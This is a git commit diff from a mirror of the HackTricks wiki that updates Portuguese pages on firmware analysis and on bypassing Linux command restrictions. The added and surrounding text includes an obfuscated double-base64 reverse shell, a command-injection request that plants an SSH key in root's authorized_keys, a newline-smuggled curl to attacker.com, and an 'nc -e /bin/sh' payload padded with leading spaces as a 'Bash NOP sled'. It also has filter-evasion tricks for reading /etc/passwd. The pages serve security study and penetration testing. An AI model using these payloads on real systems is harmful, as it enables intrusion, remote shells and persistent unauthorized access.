mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/hardware-physical-access/firmware-analysis/README.md',
This commit is contained in:
parent
ad4e0befdc
commit
ed164bef0b
@ -13,7 +13,7 @@ Firmware é um software essencial que permite que dispositivos operem corretamen
|
||||
- A arquitetura da CPU e o sistema operacional que ele executa
|
||||
- Especificações do bootloader
|
||||
- Layout de hardware e folhas de dados
|
||||
- Métricas de código e locais de origem
|
||||
- Métricas da base de código e locais de origem
|
||||
- Bibliotecas externas e tipos de licença
|
||||
- Históricos de atualização e certificações regulatórias
|
||||
- Diagramas arquitetônicos e de fluxo
|
||||
@ -23,7 +23,7 @@ Para esse propósito, ferramentas de **inteligência de código aberto (OSINT)**
|
||||
|
||||
## **Adquirindo o Firmware**
|
||||
|
||||
Obter firmware pode ser abordado por vários meios, cada um com seu próprio nível de complexidade:
|
||||
Obter firmware pode ser abordado de várias maneiras, cada uma com seu próprio nível de complexidade:
|
||||
|
||||
- **Diretamente** da fonte (desenvolvedores, fabricantes)
|
||||
- **Construindo** a partir de instruções fornecidas
|
||||
@ -61,7 +61,7 @@ Ou [**binvis.io**](https://binvis.io/#/) ([code](https://code.google.com/archive
|
||||
### Obtendo o Sistema de Arquivos
|
||||
|
||||
Com as ferramentas comentadas anteriormente, como `binwalk -ev <bin>`, você deve ter conseguido **extrair o sistema de arquivos**.\
|
||||
O binwalk geralmente extrai dentro de uma **pasta nomeada como o tipo de sistema de arquivos**, que geralmente é um dos seguintes: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
|
||||
O Binwalk geralmente o extrai dentro de uma **pasta nomeada como o tipo de sistema de arquivos**, que geralmente é um dos seguintes: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
|
||||
|
||||
#### Extração Manual do Sistema de Arquivos
|
||||
|
||||
@ -132,7 +132,7 @@ Para extrair **arquivos incorporados**, ferramentas e recursos como a documenta
|
||||
|
||||
### Extraindo o Sistema de Arquivos
|
||||
|
||||
Usando `binwalk -ev <bin>`, geralmente é possível extrair o sistema de arquivos, muitas vezes em um diretório nomeado de acordo com o tipo de sistema de arquivos (por exemplo, squashfs, ubifs). No entanto, quando **binwalk** não consegue reconhecer o tipo de sistema de arquivos devido à falta de bytes mágicos, a extração manual é necessária. Isso envolve usar `binwalk` para localizar o deslocamento do sistema de arquivos, seguido do comando `dd` para extrair o sistema de arquivos:
|
||||
Usando `binwalk -ev <bin>`, geralmente é possível extrair o sistema de arquivos, frequentemente em um diretório nomeado de acordo com o tipo de sistema de arquivos (por exemplo, squashfs, ubifs). No entanto, quando **binwalk** não consegue reconhecer o tipo de sistema de arquivos devido à falta de bytes mágicos, a extração manual é necessária. Isso envolve usar `binwalk` para localizar o deslocamento do sistema de arquivos, seguido pelo comando `dd` para extrair o sistema de arquivos:
|
||||
```bash
|
||||
$ binwalk DIR850L_REVB.bin
|
||||
|
||||
@ -148,7 +148,7 @@ Com o sistema de arquivos extraído, a busca por falhas de segurança começa. A
|
||||
|
||||
- **etc/shadow** e **etc/passwd** para credenciais de usuário
|
||||
- Certificados e chaves SSL em **etc/ssl**
|
||||
- Arquivos de configuração e scripts em busca de vulnerabilidades potenciais
|
||||
- Arquivos de configuração e scripts para potenciais vulnerabilidades
|
||||
- Binários incorporados para análise adicional
|
||||
- Servidores web e binários comuns de dispositivos IoT
|
||||
|
||||
@ -168,7 +168,7 @@ O processo de emular firmware permite **análise dinâmica** tanto da operação
|
||||
|
||||
### Emulando Binários Individuais
|
||||
|
||||
Para examinar programas únicos, identificar a endianness e a arquitetura da CPU do programa é crucial.
|
||||
Para examinar programas únicos, identificar o endianness e a arquitetura da CPU do programa é crucial.
|
||||
|
||||
#### Exemplo com Arquitetura MIPS
|
||||
|
||||
@ -180,7 +180,7 @@ E para instalar as ferramentas de emulação necessárias:
|
||||
```bash
|
||||
sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils
|
||||
```
|
||||
Para MIPS (big-endian), `qemu-mips` é usado, e para binários little-endian, `qemu-mipsel` seria a escolha.
|
||||
Para MIPS (big-endian), `qemu-mips` é utilizado, e para binários little-endian, `qemu-mipsel` seria a escolha.
|
||||
|
||||
#### Emulação da Arquitetura ARM
|
||||
|
||||
@ -188,15 +188,15 @@ Para binários ARM, o processo é semelhante, com o emulador `qemu-arm` sendo ut
|
||||
|
||||
### Emulação de Sistema Completo
|
||||
|
||||
Ferramentas como [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit) e outras, facilitam a emulação completa de firmware, automatizando o processo e auxiliando na análise dinâmica.
|
||||
Ferramentas como [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit) e outras, facilitam a emulação completa de firmware, automatizando o processo e ajudando na análise dinâmica.
|
||||
|
||||
## Análise Dinâmica na Prática
|
||||
|
||||
Nesta fase, um ambiente de dispositivo real ou emulado é usado para análise. É essencial manter acesso ao shell do sistema operacional e ao sistema de arquivos. A emulação pode não imitar perfeitamente as interações de hardware, necessitando de reinicializações ocasionais da emulação. A análise deve revisitar o sistema de arquivos, explorar páginas da web expostas e serviços de rede, e investigar vulnerabilidades do bootloader. Testes de integridade do firmware são críticos para identificar potenciais vulnerabilidades de backdoor.
|
||||
Nesta fase, um ambiente de dispositivo real ou emulado é utilizado para análise. É essencial manter acesso ao shell do sistema operacional e ao sistema de arquivos. A emulação pode não imitar perfeitamente as interações de hardware, necessitando reinicializações ocasionais da emulação. A análise deve revisitar o sistema de arquivos, explorar páginas da web expostas e serviços de rede, e investigar vulnerabilidades do bootloader. Testes de integridade do firmware são críticos para identificar potenciais vulnerabilidades de backdoor.
|
||||
|
||||
## Técnicas de Análise em Tempo de Execução
|
||||
|
||||
A análise em tempo de execução envolve interagir com um processo ou binário em seu ambiente operacional, usando ferramentas como gdb-multiarch, Frida e Ghidra para definir pontos de interrupção e identificar vulnerabilidades por meio de fuzzing e outras técnicas.
|
||||
A análise em tempo de execução envolve interagir com um processo ou binário em seu ambiente operacional, utilizando ferramentas como gdb-multiarch, Frida e Ghidra para definir pontos de interrupção e identificar vulnerabilidades através de fuzzing e outras técnicas.
|
||||
|
||||
## Exploração Binária e Prova de Conceito
|
||||
|
||||
@ -211,6 +211,49 @@ Sistemas operacionais como [AttifyOS](https://github.com/adi0x90/attifyos) e [Em
|
||||
- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS é uma distribuição destinada a ajudar você a realizar avaliação de segurança e testes de penetração de dispositivos da Internet das Coisas (IoT). Ele economiza muito tempo ao fornecer um ambiente pré-configurado com todas as ferramentas necessárias carregadas.
|
||||
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Sistema operacional de teste de segurança embarcada baseado no Ubuntu 18.04 pré-carregado com ferramentas de teste de segurança de firmware.
|
||||
|
||||
## Ataques de Downgrade de Firmware e Mecanismos de Atualização Inseguros
|
||||
|
||||
Mesmo quando um fornecedor implementa verificações de assinatura criptográfica para imagens de firmware, **a proteção contra retrocesso de versão (downgrade) é frequentemente omitida**. Quando o bootloader ou o recovery-loader apenas verifica a assinatura com uma chave pública embutida, mas não compara a *versão* (ou um contador monotônico) da imagem que está sendo gravada, um atacante pode instalar legitimamente um **firmware mais antigo e vulnerável que ainda possui uma assinatura válida** e, assim, reintroduzir vulnerabilidades corrigidas.
|
||||
|
||||
Fluxo de ataque típico:
|
||||
|
||||
1. **Obter uma imagem assinada mais antiga**
|
||||
* Pegue-a do portal de download público do fornecedor, CDN ou site de suporte.
|
||||
* Extraia-a de aplicativos móveis/escrita acompanhantes (por exemplo, dentro de um APK Android sob `assets/firmware/`).
|
||||
* Recupere-a de repositórios de terceiros, como VirusTotal, arquivos da Internet, fóruns, etc.
|
||||
2. **Carregar ou servir a imagem para o dispositivo** através de qualquer canal de atualização exposto:
|
||||
* UI da Web, API de aplicativo móvel, USB, TFTP, MQTT, etc.
|
||||
* Muitos dispositivos IoT de consumo expõem endpoints HTTP(S) *não autenticados* que aceitam blobs de firmware codificados em Base64, decodificam-nos no lado do servidor e acionam a recuperação/atualização.
|
||||
3. Após o downgrade, explore uma vulnerabilidade que foi corrigida na versão mais nova (por exemplo, um filtro de injeção de comando que foi adicionado posteriormente).
|
||||
4. Opcionalmente, grave a imagem mais recente de volta ou desative atualizações para evitar detecção uma vez que a persistência seja obtida.
|
||||
|
||||
### Exemplo: Injeção de Comando Após Downgrade
|
||||
```http
|
||||
POST /check_image_and_trigger_recovery?md5=1; echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC...' >> /root/.ssh/authorized_keys HTTP/1.1
|
||||
Host: 192.168.0.1
|
||||
Content-Type: application/octet-stream
|
||||
Content-Length: 0
|
||||
```
|
||||
No firmware vulnerável (rebaixado), o parâmetro `md5` é concatenado diretamente em um comando de shell sem sanitização, permitindo a injeção de comandos arbitrários (aqui – habilitando o acesso root baseado em chave SSH). Versões posteriores do firmware introduziram um filtro básico de caracteres, mas a ausência de proteção contra rebaixamento torna a correção irrelevante.
|
||||
|
||||
### Extraindo Firmware de Aplicativos Móveis
|
||||
|
||||
Muitos fornecedores agrupam imagens de firmware completas dentro de seus aplicativos móveis acompanhantes para que o aplicativo possa atualizar o dispositivo via Bluetooth/Wi-Fi. Esses pacotes são comumente armazenados sem criptografia no APK/APEX sob caminhos como `assets/fw/` ou `res/raw/`. Ferramentas como `apktool`, `ghidra` ou até mesmo o simples `unzip` permitem que você extraia imagens assinadas sem tocar no hardware físico.
|
||||
```
|
||||
$ apktool d vendor-app.apk -o vendor-app
|
||||
$ ls vendor-app/assets/firmware
|
||||
firmware_v1.3.11.490_signed.bin
|
||||
```
|
||||
### Checklist para Avaliação da Lógica de Atualização
|
||||
|
||||
* O transporte/autenticação do *endpoint de atualização* está adequadamente protegido (TLS + autenticação)?
|
||||
* O dispositivo compara **números de versão** ou um **contador anti-rollback monotônico** antes de gravar?
|
||||
* A imagem é verificada dentro de uma cadeia de inicialização segura (por exemplo, assinaturas verificadas pelo código ROM)?
|
||||
* O código do espaço do usuário realiza verificações adicionais de sanidade (por exemplo, mapa de partição permitido, número do modelo)?
|
||||
* Os fluxos de atualização *parciais* ou *de backup* reutilizam a mesma lógica de validação?
|
||||
|
||||
> 💡 Se algum dos itens acima estiver ausente, a plataforma provavelmente é vulnerável a ataques de rollback.
|
||||
|
||||
## Firmware Vulnerável para Prática
|
||||
|
||||
Para praticar a descoberta de vulnerabilidades em firmware, use os seguintes projetos de firmware vulneráveis como ponto de partida.
|
||||
@ -232,6 +275,7 @@ Para praticar a descoberta de vulnerabilidades em firmware, use os seguintes pro
|
||||
|
||||
- [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
|
||||
- [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904)
|
||||
- [Exploiting zero days in abandoned hardware – Trail of Bits blog](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/)
|
||||
|
||||
## Treinamento e Certificação
|
||||
|
||||
|
@ -4,13 +4,13 @@
|
||||
|
||||
## Bypasses de Limitações Comuns
|
||||
|
||||
### Shell Reversa
|
||||
### Reverse Shell
|
||||
```bash
|
||||
# Double-Base64 is a great way to avoid bad characters like +, works 99% of the time
|
||||
echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
|
||||
# echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h
|
||||
```
|
||||
### Rev shell curto
|
||||
### Shell Rev curta
|
||||
```bash
|
||||
#Trick from Dikline
|
||||
#Get a rev shell with
|
||||
@ -105,7 +105,7 @@ echo "ls\x09-l" | bash
|
||||
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
|
||||
uname!-1\-a # This equals to uname -a
|
||||
```
|
||||
### Bypass backslash e slash
|
||||
### Bypass backslash and slash
|
||||
```bash
|
||||
cat ${HOME:0:1}etc${HOME:0:1}passwd
|
||||
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
|
||||
@ -133,19 +133,19 @@ cat `xxd -r -ps <(echo 2f6574632f706173737764)`
|
||||
```bash
|
||||
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
||||
```
|
||||
### Obtendo caracteres de Variáveis de Ambiente
|
||||
### Obtendo caracteres de variáveis de ambiente
|
||||
```bash
|
||||
echo ${LS_COLORS:10:1} #;
|
||||
echo ${PATH:0:1} #/
|
||||
```
|
||||
### Exfiltração de dados DNS
|
||||
|
||||
Você pode usar **burpcollab** ou [**pingb**](http://pingb.in) por exemplo.
|
||||
Você pode usar **burpcollab** ou [**pingb**](http://pingb.in) como exemplo.
|
||||
|
||||
### Builtins
|
||||
|
||||
Caso você não consiga executar funções externas e tenha apenas acesso a um **conjunto limitado de builtins para obter RCE**, existem alguns truques úteis para fazer isso. Normalmente, você **não poderá usar todos** os **builtins**, então você deve **conhecer todas as suas opções** para tentar contornar a prisão. Ideia de [**devploit**](https://twitter.com/devploit).\
|
||||
Primeiro, verifique todos os [**builtins do shell**](https://www.gnu.org/software/bash/manual/html_node/Shell-Builtin-Commands.html)**.** Então aqui estão algumas **recomendações**:
|
||||
Caso você não consiga executar funções externas e tenha acesso apenas a um **conjunto limitado de builtins para obter RCE**, existem alguns truques úteis para fazê-lo. Normalmente, você **não poderá usar todos** os **builtins**, então você deve **conhecer todas as suas opções** para tentar contornar a prisão. Ideia de [**devploit**](https://twitter.com/devploit).\
|
||||
Primeiro, verifique todos os [**builtins do shell**](https://www.gnu.org/software/bash/manual/html_node/Shell-Builtin-Commands.html)**.** Aqui estão algumas **recomendações**:
|
||||
```bash
|
||||
# Get list of builtins
|
||||
declare builtins
|
||||
@ -202,7 +202,7 @@ if [ "a" ]; then echo 1; fi # Will print hello!
|
||||
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
||||
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
|
||||
```
|
||||
### Bypass potencial de regexes
|
||||
### Bypass potencial regexes
|
||||
```bash
|
||||
# A regex that only allow letters and numbers might be vulnerable to new line characters
|
||||
1%0a`curl http://attacker.com`
|
||||
@ -308,11 +308,33 @@ bypass-fs-protections-read-only-no-exec-distroless/
|
||||
../privilege-escalation/escaping-from-limited-bash.md
|
||||
{{#endref}}
|
||||
|
||||
## NOP Sled Baseado em Espaço ("Bashsledding")
|
||||
|
||||
Quando uma vulnerabilidade permite que você controle parcialmente um argumento que, em última instância, chega a `system()` ou outro shell, você pode não saber o deslocamento exato em que a execução começa a ler sua carga útil. Sleds NOP tradicionais (por exemplo, `\x90`) **não** funcionam na sintaxe do shell, mas o Bash ignorará inofensivamente espaços em branco à frente antes de executar um comando.
|
||||
|
||||
Portanto, você pode criar um *NOP sled para Bash* prefixando seu comando real com uma longa sequência de espaços ou caracteres de tabulação:
|
||||
```bash
|
||||
# Payload sprayed into an environment variable / NVRAM entry
|
||||
" nc -e /bin/sh 10.0.0.1 4444"
|
||||
# 16× spaces ───┘ ↑ real command
|
||||
```
|
||||
Se uma cadeia ROP (ou qualquer primitiva de corrupção de memória) pousar o ponteiro de instrução em qualquer lugar dentro do bloco de espaço, o parser do Bash simplesmente ignora os espaços em branco até alcançar `nc`, executando seu comando de forma confiável.
|
||||
|
||||
Casos de uso práticos:
|
||||
|
||||
1. **Blobs de configuração mapeados na memória** (por exemplo, NVRAM) que são acessíveis entre processos.
|
||||
2. Situações em que o atacante não pode escrever bytes NULL para alinhar a carga útil.
|
||||
3. Dispositivos embarcados onde apenas `ash`/`sh` do BusyBox está disponível – eles também ignoram espaços em branco à frente.
|
||||
|
||||
> 🛠️ Combine esse truque com gadgets ROP que chamam `system()` para aumentar dramaticamente a confiabilidade da exploração em roteadores IoT com restrições de memória.
|
||||
|
||||
## Referências & Mais
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits)
|
||||
- [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet)
|
||||
- [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
|
||||
- [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secju
|
||||
- [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secju)
|
||||
|
||||
- [Exploiting zero days in abandoned hardware – Trail of Bits blog](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user